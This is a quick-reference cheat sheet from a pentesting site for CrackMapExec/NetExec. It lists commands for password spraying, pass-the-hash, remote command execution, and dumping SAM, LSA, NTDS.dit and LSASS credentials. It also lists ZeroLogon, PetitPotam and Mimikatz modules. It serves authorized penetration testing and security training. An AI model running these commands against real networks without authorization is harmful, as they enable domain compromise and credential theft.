Quick Reference
CrackMapExec Quick Reference
Hackers Manifest - hackersmanifest.com
Swiss army knife for pentesting networks. Note: CME is now maintained as NetExec (nxc).
🔌 Protocols
| SMB | cme smb 192.168.1.0/24 |
| WinRM | cme winrm 192.168.1.10 |
| LDAP | cme ldap 192.168.1.10 |
| MSSQL | cme mssql 192.168.1.10 |
| SSH | cme ssh 192.168.1.0/24 |
| RDP | cme rdp 192.168.1.10 |
| FTP | cme ftp 192.168.1.10 |
🔐 Authentication
| Domain user | cme smb IP -u user -p pass -d DOMAIN |
| Local user | cme smb IP -u user -p pass --local-auth |
| Pass the Hash | cme smb IP -u user -H NTLM_HASH |
| Kerberos | cme smb IP -k |
| Null session | cme smb IP -u '' -p '' |
| User list | cme smb IP -u users.txt -p pass |
| Pass list | cme smb IP -u user -p passwords.txt |
📊 SMB Enumeration
| List shares | --shares |
| List users | --users |
| List groups | --groups |
| Logged on users | --loggedon-users |
| Sessions | --sessions |
| Password policy | --pass-pol |
| RID brute | --rid-brute |
| Computers | --computers |
💻 Command Execution
| CMD | -x "whoami" |
| PowerShell | -X "Get-Process" |
| Method: ATExec | --exec-method atexec |
| Method: WMI | --exec-method wmiexec |
| Method: SMBExec | --exec-method smbexec |
| WinRM exec | cme winrm IP -u user -p pass -x "whoami" |
🔑 Credential Dumping
| SAM hashes | --sam |
| LSA secrets | --lsa |
| NTDS.dit | --ntds |
| NTDS VSS method | --ntds vss |
| LSASS dump | -M lsassy |
| DPAPI | -M dpapi_secrets |
🧩 Useful Modules
| List modules | cme smb -L |
| Module info | cme smb -M module --options |
| Spider shares | -M spider_plus |
| PetitPotam | -M petitpotam |
| ZeroLogon | -M zerologon |
| GPP password | -M gpp_password |
| Mimikatz | -M mimikatz |
| Web delivery | -M web_delivery |
🕷️ Share Spidering
| Spider specific share | -M spider_plus -o SHARE=C$ |
| Search for files | --spider C$ --pattern *.kdbx |
| Read file content | --spider C$ --content --pattern flag.txt |
| Get file | --get-file \\share\\file local_file |
| Put file | --put-file local \\share\\file |
💾 Database
| Enter DB mode | cmedb |
| List hosts | hosts |
| List creds | creds |
| Export data | export creds csv output.csv |
🎯 Common Workflows
Network Discovery
cme smb 192.168.1.0/24 Password Spray
cme smb IP -u users.txt -p 'Password1' --continue-on-success Dump Domain Hashes
cme smb DC_IP -u admin -p pass --ntds Find Local Admin
cme smb 192.168.1.0/24 -u user -H hash --local-auth Generated from Hackers Manifest | For authorized security testing only | hackersmanifest.com